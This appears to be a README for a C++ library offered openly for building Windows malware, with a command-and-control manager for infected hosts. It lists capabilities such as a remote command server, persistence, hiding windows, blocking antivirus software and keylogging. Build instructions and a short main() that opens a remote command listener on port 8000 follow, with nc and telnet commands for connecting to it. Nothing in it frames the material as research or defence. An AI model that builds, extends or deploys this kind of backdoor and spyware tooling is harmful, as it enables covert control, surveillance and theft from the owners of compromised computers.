Framework for building Windows malwares, written in C++.
It's a library of network and OS functions, that you can use to create a malware. The composition of these functions permits the application to assume behaviors referable to the following types of malware:
- Virus
- Worms
- Bot
- Spyware
- Keylogger
- Scareware
Richkware-Manager-Server: Service for management of hosts where is present a malware developped using Richkware framework.
Richkware-Manager-Client: Client of Richkware-Manager-Server, that obtains list of all hosts and is able to send commands to do at each of them.
- StartServer: start a server on an arbitrary port, to receive commands from the Internet, thus allowing to run commands or make changes to application state;
- RawRequest: send a request to a server;
- SaveValueReg and LoadValueReg
- SaveSession and LoadSession: save the application state(encrypted) in the system;
- IsAdmin and RequestAdminPrivileges: check and require administrator privileges;
- Persistance: install itself permanently in the system.
- StealthWindow: hide applications;
- OpenApp: open arbitrary applications;
- BlockApps e UnBlockApps: block and Unblock applications (antivirus, ...);
- Keylogger
- EncryptDecrypt
- RandMouse: move randomly the mouse cursor
- Hibernation: hibernate system;
After main.cpp implementation, you can compile as follows.
make
- C/C++ > Preprocessor > Preprocessor Definitions, add "_CRT_SECURE_NO_WARNINGS"
- Linker > Input > Additional Dependencies, add "Ws2_32.lib"
Call function StartServer in the main, that starts server on port 8000.
int main () {
Richkware richkware ;
richkware.StartServer ("8000");
return 0;
}
In Unix systems, you can use netcat.
nc <serverName> 8000
In Windows, you can use telnet.
telnet <serverName> 8000